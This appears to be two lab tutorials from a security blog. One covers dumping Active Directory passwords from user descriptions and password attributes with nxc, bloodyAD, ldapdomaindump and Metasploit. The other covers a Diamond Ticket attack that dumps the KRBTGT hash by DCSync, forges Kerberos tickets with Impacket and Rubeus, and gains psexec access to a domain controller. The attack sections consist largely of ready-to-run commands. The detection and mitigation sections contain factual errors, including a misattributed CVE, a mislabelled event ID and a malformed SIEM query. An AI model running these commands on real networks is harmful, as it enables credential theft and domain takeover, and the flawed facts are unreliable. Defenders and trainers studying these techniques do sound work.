Credential Dumping: AD User Comment

In this article, we shall explore different tools & techniques that help us enumerate Active Directory (AD) users' passwords using which an attacker can expand their access within the organization.

 

Several critical vulnerabilities in Active Directory (AD) and related services can lead to exposure of password-related information stored in UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password attributes. Exploiting these flaws allows attackers to access password hashes or even cleartext passwords there by, significantly increasing the risk of unauthorized access to systems and data. Key attack paths include privilege escalation, improper access control configurations and vulnerabilities in network protocols like SMB or RDP that enable attackers to intercept or access sensitive fields. Notable CVEs that enable such exploits include CVE-2020-1472 (Zerologon), CVE-2017-0144 (EternalBlue), CVE-2021-33766 (HiveNightmare), and CVE-2019-0708 (BlueKeep), all of which if exploited, can lead to unauthorized access to critical password fields in AD.

Table of Contents

 

·        Understanding of Active Directory (AD) password attributes

·        Prerequisites

·        Lab Setup

Exploitation

·        nxc

·        bloodyAD

·        ldapdomaindump

·        MetaSploit

·        Get-WmiObject

Mitigation

 

Understanding of Active Directory (AD) password attributes:

 

UserPassword: In Active Directory, the UserPassword field typically refers to the password hash stored for users (NTLM or sometimes Kerberos hashes). These hashes are used to authenticate users without directly storing plaintext passwords. If attackers gain access to these hashes, they can perform offline attacks (e.g., brute force or dictionary attacks) to try and recover the original passwords.

 

UnixUserPassword: This field is used when integrating Active Directory with Unix/Linux systems (using services like SSSD or nsswitch.conf for user authentication). It stores the password hash for Unix-based systems, which is usually a different format (e.g., DES, SHA-512) than Windows hashes.

 

unicodePwd: The unicodePwd attribute in Active Directory holds the password for a user in Unicode format (UTF-16). This field is used by AD when passwords are being set or updated. In a typical AD deployment, this field would not be readable directly through normal LDAP queries due to security restrictions.

 

msSFU30Password: The msSFU30Password attribute is associated with the Microsoft Services for Unix (SFU) integration. This field stores passwords used in Unix environments but integrated into Active Directory, similar to the unixUserPassword attribute. If a system uses SFU, this field will store the password hash in a Unix-compatible format.

 

Prerequisites:

 

·        Windows Server 2019 as Active Directory Domain Controller

·        Tools: nxc, bloodyAD, ldapdomaindump, MetaSploit, Get-WmiObject utility

·        Kali Linux

·        Windows 10/11 – As Client/Attaker Machine

 

 

Lab Setup:

 

In this lab set up, we will create an AD user, then add user description that contains user's password and provide passwords in “userPassword” & “userUnixPassword” attributes.

 

Create the AD Environment:

 

To simulate an Active Directory environment, you will need a Windows Server 2019 as a Domain Controller (DC) and a client/attacker machine (Windows or Linux) where you can run enumeration and exploitation tools.

 

Domain Controller:

·        Install Windows Server (2016 or 2019 recommended).

·        Promote it to a Domain Controller by adding the “Active Directory Domain Services” role.

·        Set up the domain (e.g., “ignite.local”).

·        Create a domain user with username “raj” and password “Password@1”.

 

Create an AD user and provide user description:

Once the AD environment is setup, open PowerShell in Administrative mode in Windows Server and run the below two commands to create the user “divya” with the user “description” attribute containing the password.

 

Import-module ActiveDirectory

Set-ADUser –Identity “divya” –Description “this is a default password =Password@123”

Using “Get-ADUser” utility and a command like below, we can confirm that a user with “divya” as username has been created along with the description provided.

 

Get-ADUser -Identity "divya" -Properties Description | Select-Object Name, Description

 

Then navigate to “divya” user’s properties window by following the below steps.

 

Steps

·        Open “Active Directory Users and Computers (ADUC)” on the Domain Controller.

·        Enable the “Advanced Features” view by clicking on “View > Advanced Features”.

·        Locate user “divya” in the “Users” container.

·        Right-click on “divya” user and go to “Properties”.

 

 

This action opens “General” tab of “divya” user’s Properties window, wherein the “Description” added can be viewed/confirmed.

Update userPassword attribute:

Navigate to “Attribute Editor” tab within “divya” user’s properties window, select “userPassword” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.

Provide “divya” user’s password “Password@123” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.

Update userUnixPassword attribute:

Similar to the steps mentioned above in “Update userPassword attribute” section, one can select “userUnixPassword” attribute and update it’s value to “admin@123”.

Select “userUnixPassword” attribute and click on “Edit” button. This action opens “Multi-valued Octet String Editor” pop-up window. Click on “Add” button in the new window opened.

Provide “divya” user’s Unix Password “admin@123” in it’s Hexadecimal form within “Value” textarea and click on “OK” button in the “Octet String Attribute Editor” pop-up window.

 

 

 

Alternatively, one can run below command from the PowerShell window that’s opened in “Create an AD user and provide user description” section to update “divya” user’s Unix Password as “admin@123”.

 

Set-ADUser -Identity "divya" -Replace @{

 uidNumber=1001;

    gidNumber=1001;

    unixHomeDirectory="/home/linux";

    loginShell="/bin/bash";

    unixUserPassword="admin@123"

}

 

Exploitation

 

nxc

 

Run the below command from Kali Linux Root Terminal to Get user descriptions stored in Active Directory using “user-desc” module of “nxc” tool.

nxc ldap 192.168.1.48 -u raj -p Password@1 -M user-desc

 

Access “nxc” tool logs using the below command to revisit the enumerated information at a later time.

cat /root/.nxc/logs/UserDesc-192.168.1.48-20250120_052352.log

Run below commands to further enumerate sensitive information like passwords.

Enumerate AD users’ descriptions, using the module “get-desc-users”, which at times may contain passwords.

nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-desc-users

Enumerate userPassword attribute, using the module “get-userPassword”, from all users in ldap.

nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-userPassword

 

Enumerate unixUserPassword attribute, using the module “get-unixUserPassword”, from all users in ldap.

 

nxc ldap ignite.local -u raj -p Password@1 -M get-unixUserPassword

 

bloodyAD

 

Run the below command to enumerate all users’ sensitive information that is stored in “userPassword”, “unixUserPassword”, “unicodePassword” and “description” objectClasses.

 

bloodyAD -u raj -p 'Password@1' -d ignite.local --host 192.168.1.48 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description

Output containing sensitive information like passwords and attacks a user is vulnerable to can be observed in below screenshot.

ldapdomaindump

 

Run below commands to enumerate complete information about the AD under testing, then navigate to “AD_DUMP” directory and list all the files generated upon running “ldapdomaindump” tool.

 

ldapdomaindump -u 'ignite.local\raj' -p Password@1 192.168.1.48 -o AD_DUMP

cd AD_DUMP

ls -al

Now, access “domain_users.html” file using a browser. Observe that the attacker could enumerate AD users’ “description” attribute that gives away user’s password or the attack technique to which the user is vulnerable to.

MetaSploit

 

Run MetaSploit Framework Console from Kali Linux Root Terminal using the below command.

 

Use “ldap_query” auxiliary module, set all required options and run the module to enumerate all AD users’ information.

 

use auxiliary/gather/ldap_query

set action ENUM_ACCOUNTS

set rhosts 192.168.1.48

set username raj

set password Password@1

set domain ignite.local

run

 

Below output screenshot lists AD users’ information along with their corresponding information stored in AD “description” attribute.

Note: Alternatively, we may use “enum_ad_user_comments” module and enumerate user’s information along with the information stored in AD “descsription” attribute. Below is the list of commands to execute in sequence and the output screenshot upon running listed commands from Kali Linux Root Terminal.

 

use post/windows/gather/enum_ad_user_comments

set session 1

run

 

Get-WmiObject

 

Open PowerShell in Administrative Mode in a Windows Client/Attacker Machine. Then, run the below command to enumerate information like “username”, “SID” and “description” of users’ listed in the command using the “Get-WmiObject” utility.

 

Get-WmiObject -Class Win32_UserAccount | Where-Object { $_.Name -in @("raj", "divya") } | Select-Object Name, SID, Domain, Description

 

Mitigation:

 

Vulnerabilities like CVE-2020-1472 (Zerologon), CVE-2017-0144 (EternalBlue), CVE-2021-33766 (HiveNightmare), and CVE-2019-0708 (BlueKeep) show that UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password attributes themselves may not post a direct threat in all cases. However, there are various attack vectors that can be used to gain the necessary access to retrieve these password-related fields from Active Directory configuration.

 

Below listed are the Best-Practices to be followed diligently to remediate and resolve the possibility of enumerating AD users' passwords.

 

Use Strong Encryption: Ensure that all communications between clients and domain controllers are encrypted (LDAPS, SMB encryption, etc.) to prevent password hashes from being intercepted. Also, disable legacy authentication protocols such as NTLM where possible.

 

Limit Access to Password Attributes: Use stringent Access Control Lists (ACLs) to restrict access to sensitive attributes like UserPassword, UnixUserPassword, unicodePwd, and msSFU30Password to only trusted & limited number of administrators.

 

Regularly Audit AD Permissions: Regularly review and audit the permissions on AD objects to ensure that only authorized users and groups can access sensitive fields.

 

Apply Security Patches: Ensure all AD and associated systems (like Unix integrations) are regularly patched to prevent exploitation of known vulnerabilities.

 

Monitor for Privilege Escalation: Use monitoring & alerting tools and practices to detect suspicious activities such as privilege escalation, lateral movement and/or attempts to dump credentials.

 

 

 

 

Diamond Ticket Attack: Abusing kerberos Trust

The Diamond Ticket attack represents a sophisticated escalation in Active Directory (AD) exploitation methods, leveraging intricate flaws in Kerberos authentication and authorization mechanisms. This article explores the technical nuances of the Diamond Ticket attack, delving deeply into the underlying mechanisms, the role of Privilege Attribute Certificates (PACs), and the root causes that make AD environments susceptible. We conclude with detailed detection and mitigation strategies to protect against such threats.

Table of Contents

·        Introduction- Diamond Ticket

·        Attack Machnism

·        Ticket Structure

·        PAC Validation

·        PAC Validation Limitation

·        Prerequisites for Attack

·        Remotely Diamond Attack -Linux

·        Locally Diamond Attack-Windows

·        Detection Techniques

·        Mitigation Strategies

 

Introduction- Diamond Ticket

A Domain PAC (Privilege Attribute Certificate) attack is a type of Kerberos abuse where an attacker forges or manipulates the PAC within a Kerberos ticket to gain unauthorized access or escalate privileges in a domain environment. The attack leverages the fact that many services trust the PAC without verifying its authenticity or validating it with the Key Distribution Center (KDC).

The Diamond Ticket attack is indeed a form of exploiting and abusing the Kerberos trust by manipulating Kerberos Tickets (specifically the TGTs and the PAC) in a way that allows attackers to forge tickets and escalate their privileges in the Active Directory domain.

Attack Machnism

The attacker manipulates or forges the PAC to include elevated privileges or fake group memberships (e.g., "Domain Admins").

A forged ticket with the modified PAC is then sent to the target service.

In the Diamond Attack, the attacker leverages the KRBTGT AES hash to decrypt a valid TGT (Ticket Granting Ticket) and modify the PAC (Privilege Attribute Certificate) inside the TGT before re-encrypting the modified TGT with the KRBTGT AES hash again to make it appear legitimate.

This attack is essentially a TGT modification attack. The attacker doesn't need to steal the original TGT or create a completely new one; they simply manipulate the PAC within an existing TGT.

Steps Involved in the Diamond Attack:

·        Obtain the AES hash of the KRBTGT account: The attacker first compromises the KRBTGT account (often by dumping hashes from the domain controller or gaining access to sensitive domain controller information).

·        Decrypt the TGT using the KRBTGT AES hash: The attacker then uses the AES hash of the KRBTGT account to decrypt a valid TGT. The TGT, when decrypted, contains the PAC which includes user privileges, group memberships, and other critical information.

·        Modify the PAC: After decrypting the TGT, the attacker can modify the PAC to reflect unauthorized attributes or privileges. This could include adding themselves to privileged groups like Domain Admins or changing their group memberships to escalate privileges.

·        Re-encrypt the modified TGT using the KRBTGT AES hash: Once the attacker has modified the PAC as desired, they re-encrypt the TGT using the KRBTGT AES hash to create a new valid TGT. This re-encryption makes the modified TGT appear legitimate to the Kerberos infrastructure.

·        Use the modified TGT: The attacker can now present the modified TGT to access resources as if they were a privileged user, bypassing normal access control mechanisms.

·        GS (Service Ticket): The TGS tickets are issued based on the TGT. They do not directly store the PAC; instead, they rely on the TGT's PAC to validate the user's identity and permissions.

·        In this attack, the manipulation occurs before the TGS is involved because the tampered TGT is used to request a service ticket with elevated privileges.

 

Ticket Structure

TGT (Ticket Granting Ticket) Structure

The TGT is issued by the Authentication Server (AS) and is used to request service tickets from the Ticket Granting Server (TGS). Its structure typically contains:

Header Information:Ticket version and type.

Client Information:Username and realm (e.g., user@DOMAIN.LOCAL).

Session Key: A key shared between the client and the KDC, used for encryption.

PAC (Privilege Attribute Certificate):Contains details about the user:

o   Group memberships.

o   Privileges (e.g., admin rights).

o   Account SID (Security Identifier).

Timestamp and Lifetime:Validity period of the ticket (start time, expiration time).

KRBTGT Encryption:The TGT is encrypted and signed using the KRBTGT hash (AES or RC4), ensuring only the KDC can read or validate it.

TGS (Service Ticket) Structure

The TGS ticket is issued by the Ticket Granting Server based on the TGT and is used to access specific services. Its structure includes:

Header Information:Ticket version and type.

Client Information:Username and realm.

Session Key:A unique key for secure communication between the client and the target service.

Service Information:The Service Principal Name (SPN) identifying the target service (e.g., HTTP/WEBSERVER.DOMAIN.LOCAL).

PAC (Privilege Attribute Certificate):Copied from the TGT and used by the service to verify the user's identity and privileges.

Timestamp and Lifetime:Validity period of the service ticket.

Service Key Encryption:Encrypted using the service account’s key (password hash or key material of the SPN).

 

PAC Validation

Kerberos PAC (Privilege Attribute Certificate) validation ensures that the identity and privileges of a Kerberos-authenticated user are legitimate. The PAC contains information about the user's group memberships, SID (Security Identifier), and other authorization data.

AS-REQ and AS-REP:

·        The client sends an AS-REQ to the Key Distribution Center (KDC) to request a Ticket-Granting Ticket (TGT).

·        The KDC issues a TGT in the AS-REP, embedding the PAC in the encrypted portion of the ticket.

TGS-REQ and TGS-REP:

·        The client sends a TGS-REQ to KDC, using the TGT to request a service ticket for a specific resource.

·        The KDC responds with a TGS-REP that includes the PAC.

AP-REQ (Application Request):

·        The client sends the TGS (including the PAC) to the target service.

PAC Validation by the Service:

·        If the service trusts the KDC, it may directly use the PAC without validation.

·        If the service requires PAC validation, it sends the PAC to a domain controller (DC) for verification.

PAC Validation Details:

·        The service sends the PAC to the DC using Kerberos Signature Verification.

·        The DC verifies the PAC's digital signature (created using the KDC’s private key) to ensure integrity and authenticity.

·        If valid, the DC returns confirmation to the service.

AP-REP (Application Reply):

·        After PAC validation, the service grants or denies access based on the user's privileges.

 

Limitation of PAC Validation

 

The main drawback in Kerberos PAC authentication is the lack of PAC validation by services. Services often trust the PAC (Privilege Attribute Certificate) embedded in Kerberos tickets without verifying its signature with the KDC or Domain Controller (DC). This allows attackers to:

·        Forge a PAC offline using stolen credentials (e.g., NTLM hash or Kerberos keys).

·        Create a fake TGS (Ticket Granting Service) ticket without interacting with the KDC.

·        Exploit the trust model where the service blindly accepts the ticket, granting unauthorized access.

 

Key Issues

·        Abusing Kerberos Trust Model: Services assume the PAC is legitimate and skip validation.

·        Offline Forging: Attackers bypass KDC entirely, making detection difficult.

·        Key Dependency: Stolen service account keys or hashes enable ticket creation.

 

 

Prerequisites for Attack

·        KRBTGT Account Hash: Essential for decrypting and re-encrypting TGTs.

·        AES256 Key: Often required to modify PACs embedded within TGTs.

·        Administrative Access: Initial access to a high-privilege account to extract cryptographic material.

 

Labsetup:

To perform this attack, create two user Raaz as domain admin and Sanjeet as Standard user in the Domain Controller.

net user raaz Password@1 /add /domain

net group raaz “Domain Admins” /add /domain

 

 

net user sanjeet Password@1 /add /domain

 

 

Remotely Diamond Attack -Linux

 

As outlined above, to execute this attack, the attacker must obtain the KRBTGT hash. In a hypothetical breach scenario, we assume the attacker has compromised the credentials of a privileged account, RAAZ-User. Leveraging this access, the attacker attempts to perform a DCSync attack to extract the KRBTGT account's hash.

Extracting KRBTGT hash & Domain SID

impacket-secretsdump ignite.local/raaz:Password@1@192.168.1.48 -just-dc-user krbtgt

The highlighted image shows the NTLM and AES Hashes for KRBTGT service account.

 

 

Followed by the next step, enumerate the SID for User Raaz.

nxc ldap 192.168.1.48 -u raaz -p Password@1 –get-sid

Generating forge TGS & PAC

The attacker forges a Service Ticket for user "sanjeet" with potentially elevated privileges and a valid signature, bypassing detection mechanisms such as PAC validation by the Domain Controller.

 

impacket-ticketer -request -domain 'ignite.local' -user 'sanjeet' -password 'Password@1' -nthash '761688de884aff3372f8b9c53b2993c7' -aesKey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid 'S-1-5-21-798084426-3415456680-3274829403' sanjeet

 

-domain 'ignite.local': Specifies the target domain for the attack.

-user 'sanjeet': The username for whom the forged ticket is being generated.

-password 'Password@1': The user's password to derive cryptographic keys for generating the PAC or ticket (not common in Silver Ticket attacks).

-nthash and -aesKey:

The nthash and aesKey belong to the KRBTGT account, as required in a Diamond Ticket attack.

These are used to cryptographically sign and validate the forged service ticket.

-domain-sid 'S-1-5-21-798084426-3415456680-3274829403':

The domain SID is needed to construct the PAC, including user privileges and group memberships.

sanjeet: Indicates the SPN (Service Principal Name) or username the attacker is impersonating, forging access to services as "sanjeet."

 

Pass the Ticket

This environment variable tells the system to use a specific Kerberos credential cache file (sanjeet.ccache) for authentication.

The sanjeet.ccache file contains Kerberos tickets for the user "sanjeet," likely including a Service Ticket (TGS) for the targeted resource.

export KRB5CCNAME=sanjeet.ccache; impacket-psexec ignite.local/sanjeet@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass

 impacket-psexec:A tool from the Impacket library that uses SMB to execute commands remotely on Windows systems.

ignite.local/sanjeet@dc.ignite.local:The Kerberos principal name (user@realm) used for authentication:

·        ignite.local is the domain.

·        sanjeet is the username.

·        dc.ignite.local is the hostname of the Domain Controller.

-dc-ip 192.168.1.48:

Specifies the IP address of the Domain Controller (192.168.1.48).

-target-ip 192.168.1.48:

The target system's IP address where the command will be executed. Here, it is the same as the Domain Controller.

 -k:

Indicates that Kerberos authentication will be used instead of NTLM. The tool fetches the Kerberos tickets from the specified credential cache (KRB5CCNAME).

no-pass:

Tells the tool not to prompt for a password, as the authentication will be performed using the Kerberos tickets in the cache.

 

 

Locally Diamond Attack-Windows

If the attacker has compromised the local network machine windows, then, they may use tool like Mimikatz and Rubeus.

 

KRBTGT Hash Extraction:

 

·        The command extracts the NTLM hash and AES encryption keys of the KRBTGT account from the target domain.

·        These hashes are used in Golden Ticket and Diamond Ticket attacks to forge Kerberos tickets.

 

The given command demonstrates the usage of Rubeus, a tool designed for Kerberos ticket operations in Active Directory environments. This specific command performs a Diamond Ticket Attack, allowing the attacker to impersonate a specified user.

 

rubeus.exe diamond /krbkey:8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb /user:sanjeet /password:Password@1 /enctype:aes /domain:ignite.local /dc:dc.ignite.local /ticketuser:sanjeet /ptt /nowrap

diamond:

Indicates that this is a Diamond Ticket attack mode in Rubeus.

This attack involves forging service tickets using the KRBTGT encryption keys.

 

/krbkey:8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb:

Specifies the KRBTGT AES key needed to encrypt and sign the Kerberos ticket.

This key is critical for crafting a valid Kerberos service ticket.

 

/user:sanjeet:

Specifies the username (sanjeet) whose credentials are being used to perform the operation.

 

/password:Password@1:

The password for the specified user (sanjeet).

This is used to authenticate and potentially retrieve necessary encryption keys or TGTs.

 

/enctype:aes:

Defines the encryption type for the Kerberos ticket. In this case, AES encryption is used.

AES keys are commonly used in modern Kerberos implementations for enhanced security.

 

/domain:ignite.local:

Specifies the target domain (ignite.local) for which the ticket will be crafted.

 

/dc:dc.ignite.local:

Indicates the Domain Controller (dc.ignite.local) to interact with.

 

/ticketuser:sanjeet:

Specifies the target user whose identity the forged Kerberos ticket will impersonate.

This is the user for whom the crafted ticket grants access to services.

 

/ptt:

Stands for "Pass-The-Ticket."

Automatically injects the crafted ticket into the current session to be used for authentication.

 

/nowrap:

Prevents the output from being wrapped in the console.

This option is for cleaner output readability.

 

It will dump a TGT ticket which will be used further to request TGS.

 

rubeus.exe asktgs /ticket: <paste the above copied ticket>

 /service:cifs/dc.ignite.local /ptt /nowrap

klist

This will display all the Kerberos tickets currently in the ticket cache.

The command is used in Windows to list the contents of the C: drive of the remote machine specified by the hostname or IP address

dir \\dc.ignite.local\c$

 

 

 

Detection Techniques

 

Key Event IDs

·        4769 (Service Ticket Request): Detects forged TGT use. Indicators: Unusual account names, high privileges (e.g., Domain Admins), and requests from abnormal IPs.

·        4624 (Successful Account Logon): Look for Logon Type 3 (network logons) from unexpected hosts or elevated privileges for non-admin accounts.

·        4678 (Privileges Assigned to Logon): Detects special privileges (e.g., SeDebugPrivilege) assigned to non-privileged accounts.

·        4713 (Kerberos Policy Changed): Flags changes to ticket lifetimes or other Kerberos policies.

·        4625 (Failed Logon): Repeated failures for privileged accounts or from suspicious IPs.

Detection Strategies

·        Ticket Lifetime: Compare Ticket Lifetime in Event ID 4769 with policy norms to spot anomalies.

·        Privilege Correlation: Track elevated privileges or sensitive SPN access by standard users.

·        Unusual Encryption Types: Detect rarely used encryption like RC4 in Event ID 4769.

·        TGT Usage: Monitor for identical TGTs used across multiple IPs or locations.

Proactive Measures

·        Enable Kerberos logging for detailed activity.

·        Audit changes to high-privilege groups (Event IDs 4728, 4732).

·        Rotate KRBTGT account passwords regularly.

 

 

Example SIEM Query

 

index=security_logs sourcetype=wineventlog EventID=4769

| search ServiceName IN ("Domain Admins", "Enterprise Admins")

| stats count by AccountName, IPAddress, ServiceName

| where count > 5

 

Mitigation Strategies

 

Proactive Measures

 

·        Rotate KRBTGT Account Passwords: Regularly reset the KRBTGT password twice to invalidate cached tickets.

·        Enforce Modern Encryption: Disable legacy protocols like RC4-HMAC in favor of AES256.

·        Restrict Privilege Escalation: Apply least privilege principles to minimize exposure.

 

Incident Response

 

·        Invalidate Active Tickets: Immediately rotate KRBTGT keys and log out all active sessions.

 

·        Forensic Analysis: Use tools like BloodHound to map privilege escalation paths and identify compromised accounts.

 

Conclusion

The Diamond Ticket attack underscores the importance of securing Kerberos authentication in AD environments. By understanding the technical underpinnings and addressing the root causes of vulnerabilities, organizations can significantly reduce their exposure to such advanced threats.